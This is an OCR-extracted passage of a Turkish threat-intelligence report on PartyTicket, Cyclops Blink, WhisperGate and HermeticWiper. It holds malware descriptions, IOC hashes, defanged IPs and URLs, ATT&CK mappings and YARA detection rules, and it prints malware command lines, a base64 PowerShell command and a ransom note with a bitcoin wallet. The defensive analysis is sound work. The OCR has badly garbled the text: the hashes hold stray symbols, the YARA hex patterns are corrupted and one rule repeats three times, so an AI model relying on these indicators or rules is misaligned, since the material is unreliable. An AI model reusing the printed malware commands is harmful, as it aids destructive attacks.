for 1 of ($end) : ( @start < @ and @start + 1024 > @) and
all of them

}
rule PartyTicket_02 : PartyTicket golang

TASNIF DISI
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{

meta:

description = "Detects Golang-based PartyTicket ransomware"
version = "202202250130"
last_modified = "2022-02-25"
strings:
$s1 = "voteFor403"
$s2 = "highWay60"
$s3 = "randomiseDuration"
$s4 = "subscribeNewPartyMember"
$s5 = "primaryElectionProces"
$s6 = "baggageGatherings"
$s7 = "getBoo"
$s8 = "selfElect"s
$s9 = "wHiteHousE"
$s10 = "encryptedJB"
$goid = { ff 20 47 6f 20 62 75 69 6¢ 64 20 49 44 322022 71 62 30 48 37 41 64 57 41 59 44 T7a 66 4d 41 31 4a 38 30

42 2f 6e 4a 39 46 46 38 66 75 70 4a 6¢ 34 71 6e 45 34 57 76 41 35 2f 50 57 6b 77 45 4a 66 4b 55 72 52 62 59 4e 35 39 5f
4a 62 61 2f 32 6£ 30 56 49 79 76 71 49 4e 46 62 4c 73 44 73 46 79 4c 32 22 Oa 20 {f }

$pdb = "C://projects//403forBiden//wHiteHousE"

condition:
(uint32(0) == 0x464c457f or (uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550)) and 4 of ($s*) or $pdb or
$goid
}
3.3 Tedbir
[5] Olay miidahalesi plani
[6] Yama yonetimi
[7] Giivenlik Duvarlari
[8] Saldir1 tespit veya dnleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)
. [11] Calistirma 6nleme (Execution Prevention)
Ag‘;‘;‘:ﬁgfk [12] Antivirus/Antimalware

[13] Kod Imzalama

[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[21] Kay1t defteri izinlerinin sinirlanmasi
[22] Denetim

[24] Dosya ve dizin izinlerininin kisitlanmasi
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4 Cyclops Blink

Cyclops Blink, basta kii¢iik ofis/ev ofis yonlendiricileri olmak tizere ag cihazlarin1 ve aga bagli depolama
cihazlarint kullanan bir zararli yazilimdir. K6tii amacgli yazilim, cihaz bilgilerini bir sunucuya geri gonderen ve
dosyalarin indirilmesini ve yiiriitilmesini saglayan temel islevsellige sahip karmasik ve modiiler bir yapidadir,
¢alisirken yeni modiiller ekleme islevi de bulunmaktadir.

Cekirdek bilesenin gesitli islevleri olup,. baslangigta, 'kworker[0:1]" adl1 bir islem olarak calistigini ve bunun bir
¢ekirdek islemi gibi gériinmesine izin verdigini dogrular. Durum bdyle degilse, kendisini bu islem adi olarak yeniden
yiikleyecek ve ana islemi sonlandiracaktir. Cekirdek bilesen daha sonra “iptables” kurallarini, C2 sunucusuyla
iletisimi i¢in kullanilan portlar {izerinden erisime izin verecek sekilde ayarlar. C2 iletisimi, AES-256-CBC
kullanilarak tek tek komutlarin sifrelendigi bir TLS tiineli de dahil olmak iizere birden ¢ok sifreleme katmani
araciligiyla gerceklestirilir.

Zararli dort modiilden olusmaktadir. Sistem kesif modiilii (ID 0x8), baslangigta her 10 dakikada bir gerceklesecek
sekilde diizenli araliklarla sistemden ¢esitli bilgiler toplamak i¢in tasarlanmistir. Dosya yiikleme/indirme modiilii (ID
0xf), dosyalar1 karsiya yiikklemek ve indirmek i¢in tasarlanmistir. Bu talimatlar ¢ekirdek bilesen tarafindan gonderilir
ve URL'lerden indirme veya dosyalarin C2 sunucularina yiiklenmesi seklinde olabilir. C2 sunucu liste modiilii (ID
0x39), C2 etkinligi i¢in kullanilan IP adresleri listesini depolamak ve/veya giincellemek i¢in kullanilir. Liste yiiklenir
ve ¢ekirdek bilesene iletilir ve ¢ekirdek bilesenden giincellemeler alindiginda giincellenmek iizere bu modiile iletilir.
Giincelleme/Kalicilik modiilii (ID 0x51), Cyclops Blink'e giincellemeler yiikler veya sistemde kaliciligini saglar.
Giincelleme islemi, cihazdaki firmware giincelleme isleminden yararlanir. Kalicilik, bu modiiliin bir alt islemi
araciligiyla iglenir ve iirtin yazilimi giincelleme isleminin Cyclops Blink'i giincellemek i¢in manipiile edilmesine izin
veren degistirilmis sliriimlerle mesru yiirtiilebilir dosyalarin {izerine yazilmasini igerir.

4.1 I0C Bilgisi

Dosya Adi I cpd

Tamm I Cyclops Blink - Linux ELF PowerPC big-endian

Boyut fl 2494940 bayt

MD5 Jl d01e2c2e8df92edeb8298c5521 1bcdb6

SHA-1 | 32df9a59743bc5d8399f67cab5eb2daf28b9b863

SHA-256 Jl 50d5734dd0c6c5983c21278f119527f9fdf6ef1d7e808229754ebc5253e9a86
Dosya Adi I cpd

Tamm I Cyclops Blink - Linux ELF PowerPC big-endian

Boyut l| 2494940 bayt

MD5 | bbb76de7654337tb6c2e851d106cebe7

SHA-1 | c59bc17659dacalblce65b6af077f86a648ad8a8

SHA-256 [ c082a9117294£24880d75a2625cf80f63c8bb159b54a7151553969541ac35862
Dosya Ada I install_upgrade

Tamm | Cyclops Blink embedded ELF - Linux ELF PowerPC big-endian

Boyut Jl 964556 bayt

MD5 [ 3c9d46dc4e664e20f1a7256e14a33766

SHA-1 | 7d61c0dd0cd901221a9dff9df09bb90810754£10

SHA-256 | 4e69bbb61329ace36fbe62f9fb6cad9c3Te2e5a5293545¢44d155641934e39d1
Dosya Adn I install_upgrade

Tanim I Cyclops Blink embedded ELF - Linux ELF PowerPC big-endian

Boyut l 964556 bayt

MD5 I 3f22c0aebleec4350868368ealcc798c

TASNIF DISI
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SHA-1 I 438cd40caca70cafeSca436b36ef7d3a6321e858
SHA-256 [ ££17ccd8c96059461710711fcc8372cfea5f0f9eb566ceb6ab709eas871190dc6
IP Adresleri 100.43.220[.]234, 188.152.254[.]170, 188.152.254[.]170, 208.81.37[.]50, 70.62.153[.]174,

70.62.153[.]1174, 90.63.245].], 212.103.208[.] 182 50.255.126[.]65, 78.134.89[.]167,
81.4.177[.1118, 24.199.247[.1222, 37.99.163[.]162, 37.71.147[.]1186, 105.159.248[.]137,
80.155.38[.]210, 217.57.80[.]118, 151.0.169[.1250, 212.202.147[.]10 , 212.234.179[.]113,
185.82.169[.199, 93.51.177[.166, 80.15.113[.]188, 80.153.75[.]1103, 109.192.30[.]125

4.2 YARA Kurali
rule CyclopsBlink_module_initialisation
{
meta:
author = "NCSC"
description = "Detects the code bytes used to initialise the modules
built into Cyclops Blink"
hashl = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
hash2 = "c59bc17659dacalblce65b6af077f86a648ad8a8"
strings:
// Module initialisation code bytes, simply returning the module ID
// to the caller
$=1{94 21 FFF093 E1 00 08 7C 3F OB 78 38 00 00 ?? 7C 03
03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}
condition:
(uint32(0) == 0x464c457f) and (any of them)

rule CyclopsBlink_modified_install_upgrade
{
meta:
author = "NCSC"
description = "Detects notable strings identified within the modified
install_upgrade executable, embedded within Cyclops Blink"
hashl = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
hash2 = "c59bc17659dacalblce65b6af077f86a648ad8a8"
hash3 = "7d61c0dd0cd901221a9d{f9df09bb90810754f10"
hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
strings:

// Format strings used for temporary filenames

$ = "/pending/%010lu_%06d_%03d_p1"

$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"

// Hard-coded key used to initialise HMAC calculation

$ = "etaonrishdlcupfm"

// Filepath used to store the patched firmware image

$ = "/pending/WGUpgrade-dl.new"

// Filepath of legitimate install_upgrade executable

$ = "/pending/bin/install_upgraded"

// Loop device IOCTL LOOP_SET_FD

$ = {38 804C 00}

// Loop device IOCTL LOOP_GET_STATUS64

$={38804C 05}

// Loop device IOCTL LOOP_SET_STATUS64

$={38804C 04}

// Firmware HMAC record starts with the string "HMAC"

$={3C 0048 4D 60 00 41 43 90 09 00 00}

condition:

(uint32(0) == 0x464c457f) and (6 of them)
}—
- ___________________________________________________________________________________]

rule CyclopsBlink_modified_install_upgrade

{

meta:

author = "NCSC"

description = "Detects notable strings identified within the modified

TASNIF DISI
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BILGEM

install_upgrade executable, embedded within Cyclops Blink"
hash1 = "3adf9a59743bc5d8399f67cabSeb2daf28b9b863"
hash2 = "c59bc17659dacalblce65b6af077{86a648ad8a8"
hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
strings:

// Format strings used for temporary filenames

$ = "/pending/%0101lu_%06d_%03d_p1"

$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
// Hard-coded key used to initialise HMAC calculation

$ = "etaonrishdlcupfm"

// Filepath used to store the patched firmware image

$ = "/pending/WGUpgrade-dl.new"

// Filepath of legitimate install_upgrade executable

$ = "/pending/bin/install_upgraded"

// Loop device IOCTL LOOP_SET_FD

$={38804C 00}

// Loop device IOCTL LOOP_GET_STATUS64
$={38804C 05}

// Loop device IOCTL LOOP_SET_STATUS64
$={38804C 04}

// Firmware HMAC record starts with the string "HMAC"
$={3C 0048 4D 60 0041 43 90 09 00 00}

condition:

(uint32(0) == 0x464c457f) and (6 of them)

rule CyclopsBlink_modified_install_upgrade

{

meta:

author = "NCSC"

description = "Detects notable strings identified within the modified
install_upgrade executable, embedded within Cyclops Blink"
hash1 = "3adf9a59743bc5d8399f67cabSeb2daf28b9b863"
hash2 = "c59bc17659dacalblce65b6af077t86a648ad8a8"
hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754£10"
hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
strings:

// Format strings used for temporary filenames

$ = "/pending/%0101lu_%06d_%03d_p1"

$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
// Hard-coded key used to initialise HMAC calculation

$ = "etaonrishdlcupfm"

// Filepath used to store the patched firmware image

$ = "/pending/WGUpgrade-dl.new"

/ Filepath of legitimate install_upgrade executable

$ = "/pending/bin/install_upgraded"

// Loop device IOCTL LOOP_SET_FD

$={38804C 00}

// Loop device IOCTL LOOP_GET_STATUS64
$={38804C 05}

// Loop device IOCTL LOOP_SET_STATUS64
$={38804C 04}

// Firmware HMAC record starts with the string "HMAC"

$ = {3C 0048 4D 60 00 41 43 90 09 00 00}

condition:

(uint32(0) == 0x464c457f) and (6 of them)

rule CyclopsBlink_handle_mod_0xf_command

{

meta:

author = "NCSC"

description = "Detects the code bytes used to check module ID Oxf
control flags and a format string used for file content upload"

hashl = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"

hash2 = "c59bc17659dacalblce65b6af077f86a648ad8a8"

TASNIF DISI
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|
strings:
/l Tests execute flag (bit 0)
$ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
// Tests add module flag (bit 1)
$ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
// Tests run as shellcode flag (bit 2)
$ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
// Tests upload flag (bit 4)
$ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
// Upload format string
$ = "file:%s\n" fullword

condition:

(uint32(0) == 0x464c457f) and (all of them)

}

4.3  Tedbir
[5] Olay miidahalesi plan1
[6] Yama yoOnetimi
[7] Giivenlik Duvarlari
[8] Saldir1 tespit veya dnleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)
. [11] Calistirma 6nleme (Execution Prevention)
Agi?g;?gfk [12] Antivirus/Antimalware

[13] Kod Imzalama

[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[21] Kayit defteri izinlerinin sinirlanmasi
[22] Denetim

[24] Dosya ve dizin izinlerininin kisitlanmasi

5 WhisperGate

Microsoft Threat Intelligence (MSTIC) tarafindan WhisperGate adiyla bilinen zararli yazilim, 15 Ocak 2022’de
bildirilmistir. DEV-0586 grubu ile iliskilendirilen bu zararli yazilim, Ukrayna’da basta devlet kurumlari olmak iizere birden
fazla sektorii hedefleyen saldirilarda kullanilan bir kotii amagli yazilimdir. Bu kotii amagli yazilim, kurban sistemlerin ana
onyiikleme kaydini (MBR) bozma, sahte bir fidye yazilimi notu goriintiileme ve belirli uzantilara sahip dosyalar sifreleme
asamalarini igeren bir isleyise sahiptir.

WhisperGate zararli yaziliminin “OctoberCMS” adl1 bir igerik yonetim platformunda bulunan “CVE-2021-32648"
kodlu giivenlik a¢igin1 kullanarak sistemlere erigim sagladig1 tespit edilmistir.

Ik asamada ¢alisan ana dnyiikleme kaydinin (MBR) bozulmasina ydnelik zararli, Windows’ta GNU Derleyici Koleksiyonu
(GCC) 6.3.0’1 destekleyen Windows i¢in Minimalist GNU (MinGW) gelistirme ortami kullanilarak derlenmektedir. Binary
programin birincil amact “\W\.\\PhysicalDrive0”1n ana 6nyiikleme kaydinin iizerine, makine yeniden baslatilincaya kadar
etkisi goriilmeyecek, 6zellestirilmis bir MBR yazmaktir. Baglangicta, bilgisayarin BIOS’u, MBR’1 ararken kullanilacak
disk sirasin1 belirler. MBR’1n PhysicalDrive0 iizerine yazilirken BIOS tarafindan 6nyiikleme esnasinda ilk kontrol edilecek
disk olacagi varsayiminda bulunulur ve bu gayet makul bir varsayimdir. Makine yeniden baslatildiginda 6zellestirilmis
MBR kodu galistirilir ve kullaniciya bir fidye notu gosterilir (Stagel.exe).

Stagel.exe komutu:

cmd.exe /Q /c start c:\stagel.exe 1> \127.0.0.NADMIN$\__[TIMESTAMP] 2> &1

TASNIF DISI


https://nvd.nist.gov/vuln/detail/CVE-2021-32648
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Your hard driwve has been corrupted.

In case you want to recover all hard drives

of your organization,

You should pay us $18k via bitcoin wallet

1AVNMGEg jEPGPFcJuftKATadlLnzg8fpfv and =send mMessage via

tox ID GBEDC411812A33BA34F49138D0F166993C6A32DADBI76F6A5D82C1ED23854CA57ECEDS496
FB5

With your organization name.

We will contact you to give further instructions.

Sekil 10 Fidye Notu [4]

MBR kaydini bozan zararli yazilim Stage2.exe ile ikinci asamaya geger. Bu yazilim k&tii amagli bir dosya bozucu indirir.
Stage2.exe, Discord adli bir platformun igerik teslim aginda (CDN) bulunan bir JPG dosyasini bir HTTPS baglantisi
kurarak indirmektedir. JPG indirildikten sonra zararli yazilim, JPG dosyasinin byte’larini tersleyerek JPG dosyasini
“Frkmlkdkdupinbkmcf.dll” adinda bir Win32 DLL dosyasina doniistiiriir ve bu dosya igerisindeki “YIfwdwgmpilzyaph”
metodunu bellek igerisinde ¢aligtirir. Bir sonraki asamada ise indirilen kotii amaglt yazilim, hedefledigi dosya uzantilarina
sahip dosyalarin iceriklerinin yerine sabit bir bayt degeri (0xCC) yazarak dosyalar1 bozmaktadir.

5.1  Hedef Alinan Dosya Uzantilar

.3DM .3DS .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD .BZ .BZ2 .CGM .CLASS .CMD
.CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF .DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM
.DOTX .DWG .EDB .EML .FRM .GIF .GO .GZ .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP
.KDBX .KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .0ODG .ODP .ODS
.ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3 PHP4 .PHP5 .PHP6 .PHP7
.PHPS PHTML .PL PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR
.RAW RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK .SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW
.SUO .SVG .SXC .SXD .SXI .SXM .SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK
.VMEM .VMSD .VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 WK1 .WKS XHTML .XLC
XLM XLS XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

5.2 Microsoft Defender imzalari

=  DoS:Win32/WhisperGate.A !dha

=  DoS:Win32/WhisperGate.C!.dha

=  DoS:Win32/WhisperGate.H!dha

=  DoS:Win32/WhisperGate.X!dha

5.3 10C Bilgileri

Dosya I Stagel.exe, Stage2.exe, Frkmlkdkdubkznbkmcf.dll, Tbopbh.jpg

isimleri

1P 162.159.135.233

Adresleri

Hash a196c¢c6b8ffcb97ffb276d04£354696€2391311db3841ae16c8c9f56f36a38€92

Degerleri J dcbbaeSalc61dbbbb7dcd6dcS5ddlebl 169£5329958d38b58c3fd9384081c9b78
923eb77b3¢9e11d6¢56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
9ef7dbd3da51332a78eff19146d21¢82957821e464e8133€9594a07d716d892d

URL I https[:]//cdn.discordapp|.]Jcom/attachments/928503440139771947/930108637681184768/Tbopbh.jpg

TASNIF DISI


https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=DoS:Win32/WhisperGate.A!dha&threatId=-2147156836
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=DoS:Win32/WhisperGate.C!dha&threatId=-2147156835
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=DoS:Win32/WhisperGate.H!dha&threatId=-2147156839
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=DoS:Win32/WhisperGate.X!dha&threatId=-2147156837
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5.4 MITRE ATT&CK TTP Listesi

Command WhisperGate kotii amagli yaziliminin ilk asamast, yikici kotii amaglh yazilimi yiiriitmek i¢in
Execution and Scripting l| asagidaki Windows komutunu ¢aligtirir.
[TA0002] Interpreter:

Windows cmd.exe /Q /c start c:\stagel.exe 1>\127.0.0.1\ADMINS$\_[TIMESTAMP] 2>&1
Command
Shell
[T1059.003]
Execution Command WhisperGate kotii amagli yaziliminin ikinci asamasi, Komuta ve Kontrol (C2) sunucusuna
[TA0002] and Scripting f| baglanmak ve ek zararli yiikleri indirmek i¢in PowerShell komutlarini kullanmaktadir:
Interpreter: powershell.exe
PowerShell -enc UWBOAGEAcgBOACOAUWBSAGUAZQBWACAALQBZACAAMQAWAA==
[T1059.001]
Persistence [l Pre-OS Boot: | WhisperGate’in ilk asamas1 Ana Onyiikleme Kaydi’n1 (MBR) degistirir. Degistirilen MBR,
[TA0003] Bootkit diskin ilk boliimii oldugundan 6tiirti, BIOS donanimi baslatmayi tamamladiktan sonra zararlt
[T1542.003] § savunmalardan gizlenmis olur.
Defense Obfuscated WhisperGate kotii amagli yaziliminin ikinci asamasi, Base64’te PowerShell komutlar
Evasion Files or { kullanir.
[TAO0005] Information
[T1027]
Discovery J File and  WhisperGate’in ikinci agsamast, i¢eriklerini degistirmek i¢in belirli dizinlerdeki belirli dosya
[TA0007] Directory uzantilarini arar.
Discovery
[T1083]
Command § Ingress Tool § WhisperGate’in 2. Asamasinda, APT grubuna ait olan Discord kanalindan dosya bozucu
and Transfer yikin indirilmesi gergeklesir. Kotii amagli yiiriitilebilir dosyanin indirme baglantisi,
Control [T1105] stage2.exe igerisine gomillmiistiir.
[TAO011]
Impact Disk Wipe WhisperGate’in ilk asamasi, etki icin Ana Onyiikleme Kaydinin iizerine yazar. MBR’nin
[TA0040] [T1561] tizerine yazildiginda, gii¢ kapatildiktan sonra viriislii sistem agilmaz.
WhisperGate’in  ikinci asamasinda dosyalarin igeriklerinin iizerine yazilarak
biitiinliikleri bozulur. Ayrica zararli, dosyalarin adlarimi degistirerek etkisini daha da
arttirir.

5.5 Yara Kurallari

rule APT_HKTL_Wiper_WhisperGate_Jan22_1 {
meta:

reference = “https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/”
date = “2022-01-16”

score = 85
hashl = “a196c6b8ffcb97ftb276d04f354696¢2391311db3841ae16¢8c9f56f36a38¢92”
strings:

/* AAAAA\xOOYour hard drive has been corrupted. */
$xcl ={41414141410059 6F 757220 68 61 72 64 20
64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
6F 72 727570 74 65 64 }

$opl = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }

$op2 = { 8d bd e8 df ff ff 8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00
00 00 c7 44 24 0c 00 00 00 00 }

$op3 = { ¢7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }

condition:

uint16(0) == 0x5a4d and

filesize < 100KB and ( 1 of ($x*) or 2 of them ) or all of them
}

rule APT_HKTL_Wiper_WhisperGate_Jan22_2 {

meta:
I EEEEEEEEEEE———

TASNIF DISI


https://attack.mitre.org/versions/v10/tactics/TA0002/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/versions/v10/tactics/TA0002/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/versions/v10/tactics/TA0003/
https://attack.mitre.org/techniques/T1542/003/
https://attack.mitre.org/versions/v10/tactics/TA0005/
https://attack.mitre.org/techniques/T1027/
https://attack.mitre.org/versions/v10/tactics/TA0007/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/versions/v10/tactics/TA0011/
https://attack.mitre.org/techniques/T1105/
https://attack.mitre.org/versions/v10/tactics/TA0040/
https://attack.mitre.org/techniques/T1561/
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reference = “https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/”
date = “2022-01-16”

score = 90
hash1 = “dcbbae5alc61dbbbb7dcd6dc5dd1ebl 169£5329958d38b58¢3fd9384081c9b78”
strings:

/* powershell -enc UWBOAGEAcgBOAC */

$scl = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
5500 77 0042 00 30 0041 00 47 00 45 00 41 00
63 00 67 0042 00 30 00 41 00 43 }

/* Ylfwdwgmpilzyaph */

$sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }

$s1 = “xownxloxadDxatxxax” wide

$s2 = “0AUWBSAGUAZQBWACAALQBzZACAAMQAWAA=="wide /* Decoded with base64, UTF-16-LE: Sleep -s 10 */
$s3 = “https://cdn.discordapp.com/attachments/” wide

$s4 = “fifx fff. fff ascii fullword

$opl = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 el ae f1 }

$op2 = { aaae 7420d9 7c 71 04 59 20 71 cc 1391 61 20 97 3¢ 2ac0 }

$op3 = { 38 9c 3 ff ff 20 £2 96 4d €9 20 5d ae d9 ce 58 20 4f 45 27 }

$op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0O db 56 65 20 3d eb 24 de 61 }
condition:

uint16(0) == 0x5a4d and

filesize < 1000KB and 5 of them

or 7 of them

}

5.6 Tedbir

[5] Olay miidahalesi plani

[6] Yama yonetimi

[7] Giivenlik Duvarlari

[8] Saldir1 tespit veya dnleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)
[11] Calistirma 6nleme (Execution Prevention)
[12] Antivirus/Antimalware

[13] Kod Imzalama

[16] Boot biitiinligii

[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[21] Kay1t defteri izinlerinin sinirlanmasi

[22] Denetim

[23] Isletim sistemi konfigiirasyonu

[24] Dosya ve dizin izinlerininin kisitlanmasi

Alinabilecek
Onlemler
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6 HermeticWiper

HermeticWiper, NotPetya ve WhisperGate gibi MBR silici kétii amagli yazilimlara benzer sekilde kendisini
fidye yazilimi olarak gizleyen, veri silen yikici bir kotii amagli yazilimdir. Zararli yazilim, Ana Onyiikleme Kaydi'na
(MBR) zarar verir ve sistemi kilitler. Bu islemden sonra HermeticWiper bir fidye notu birakmaktadir. MBR zararli
tarafindan bozulduktan sonra verilerin kurtarilmasi ¢ok zor olacagt i¢in bu fidye notuna giivenilmemelidir.

MBR'nin ilk 512 Baytinin iizerine yazmak i¢in "EaseUS Partition Master Software" yazilimindaki "empntdrv.sys" gibi
imzal1 stirticiileri kotiiye kullanarak diskteki bolmeleri bulmakta ve kullanilamaz hale getirmektedir.

Bu zararli yazilim ilk erisimi sistemlerde bulunan SMB, Tomcat giivenlik ac¢iklarini ve oltalama (Phishing) saldirilarini
kullanarak saglamaktadir. Ozellikle Active Directory sistemlerinde ag icerisindeki diger bilgisayarlara bulasmak iin
HermeticWizard adinda solucan kullanilmaktadir. HermeticWiper kotii amagli yazilimy, ilk erisimi elde ettikten sonra,
sifrelenmis PowerShell komutlar1 kullanarak kétii amacgh bir JPEG dosyasi indirir. Indirme isleminden sonra, kurbanin
sisteminde ag baglantisini kontrol eden ve kimlik bilgilerini bosaltan bir dizi zamanlanmis gérev tanimlar. Kotii amagh
yazilim, son eylemi i¢in bir veri silici (Trojan.KillDisk) yayar ve MBR'ye geri doniilemez bir sekilde zarar verir.

Microsoft Defender Imzalari
e  Trojan:Win32/KillDisk
e  Trojan:Win32/HermeticWiper MSR

6.1 MITRE ATT&CK TTP Listesi

Privilege Access Token HermeticWiper, SeDebugPrivilege, SeBackupPrivilege ve
Escalation Manipulation SeLoadDriverPrivilege belirteclerini kullanarak hedef sistemlerde
[TA0004] [T1134] ayricalikli islemler yapmaktadir.
Discovery System Information HermeticWiper, isletim sistemini, mimarisini ve hangi gdmiilii siiriiciilerin
[TAO007] Discovery bulundugunu dékiimler.

[T1082]
Discovery File and Directory HermeticWiper, AppData, Desktop vb. gibi birden ¢ok dosya ve klasorii
[TA0007] Discovery dokiimlemektedir.

[T1083]
Defense Modify Registry Registry key tizerinde degisiklikler yapmaktadir.
Evasion [T1112]
[TA0005]
Execution Native API T1134°deki ayricaliklar1  kullanabilmek i¢in  AdjustTokenPrivilege
[TA0002] [T1106] ayricaligin1 manipiile etmektedir.
Persistence Create or Modify System § HermeticWiper, CreateServiceW API' sini kullanarak yeni bir hizmet
[TA0003] Process: Windows olusturup siiriicli ytiklemesi yapmaktadir.

Service

[T1543.003]
Impact Disk Wipe: Disk HermeticWiper, viriislii bilgisayarin Ana Onyiikleme Kaydi'na (MBR)
[TA0040] Structure Wipe zarar Verir.

[T1561.002]
Impact Inhibit System Recovery W HermeticWiper, Volume Shadow Copy hizmetini durdurmaktadir.
[TA0040] [T1490]
Impact Service Stop HermeticWiper, Volume Shadow Copy hizmetini durdurmaktadir.
[TA0040] [T1489]
Impact System HermeticWiper, InitiateSystemShutdownEx API araciligiyla sistem
[TA0040] Shutdown/Reboot kapatma islemi baglatmaktadir.

[T1529]

6.2 10C Bilgileri
Dosya Icom.exe, conhosts.exe, c9EEAF78C9A12.dat, cc2.exe, cl64.dll, cld.dll, clean.exe, XqoYMIBX.exe,
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Isimleri I ypagjgfyy.dil

1P 94.158.244.27
Adresleri
Hash 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da

Degerleri § 1bcddeef75779¢3cal eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
2¢10b2ec0b995b88c27d141d6f7b14d6b8177¢52818687e4ff8e6ecf53adf5Sbf
3¢557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767
a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7eScebf4d3e
4dc13bb83al16d4ff9865a51b3e4d24112327¢526¢1392e14d56f20d6f4eaf382
49E0BA14923DA60SABCAE04A9AS56B0689FE6GF5 AC6BDF0439A46CE35990ACS53EE
b01eOc6acOb8bcdel145ab7b68cf246deea9402fa7ea3aede7105f7051fe240cl
b612e008967¢5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd
e5f3ef69a534260e899a36cec459440dc572388defd81d98760d31c700f42d5
fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91£3¢281233¢c17d
8c614cf476£871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b
23ef301ddba39bb00f0819d2061c9¢14d17dc30£780a945920a5 1bc3ba0198a4
96b77284744£8761c412558388e0aee2140618b484{f53fa8b222b340d2a9¢84
2¢7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d

URL http://kfctm[.]Jonline/0802adgeczoL7.msi
http://my.cloud-file[.]online/Microsoft_VieweR_2012.msi
http://my.mondeychampl[.]xyz/uUilrV.msi
http://my.mondeychampl.]xyz/ReadMe.msi
http://files-download.infousal.]xyz/Windows_photo_viewers.msi
http://files-download.infousal.]xyz/Windows_photo_viewer.msi
http://download.logins[.]online/exe/LinK13112020.msi
http://surname192.temp.swtest|[.Jru/prapor/su/ino.gif
http://surname192.temp.swtest[. Jru/prapor/su/derg.gif
http://surname192.temp.swtest[. Jru/prapor/su/flagua.gif
http://surname192.temp.swtest[.Jru/prapor/su/flages.gif

6.3  Yara Kurallan

rule MAL_HERMETIC_WIPER {
meta:
version = "1.0"
last_modified = "02.23.2022"
hash = "1bc44eef75779e3caleetb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
strings:
$stringl = "DRV_XP_X64" wide ascii nocase
$string2 = "EPMNTDRV\%u" wide ascii nocase
$string3 = "PhysicalDrive%u" wide ascii nocase
$certl = "Hermetica Digital Ltd" wide ascii nocase
condition:
uint16(0) == 0x5A4D and
all of them

rule MAL_PARTY_TICKET {
meta:
desc = "PartyTicket Golang Ransomware - associated with HermeticWiper campaign"
author = "Hegel @ SentinelLabs"
version = "1.0"
last_modified = "02.24.2022"
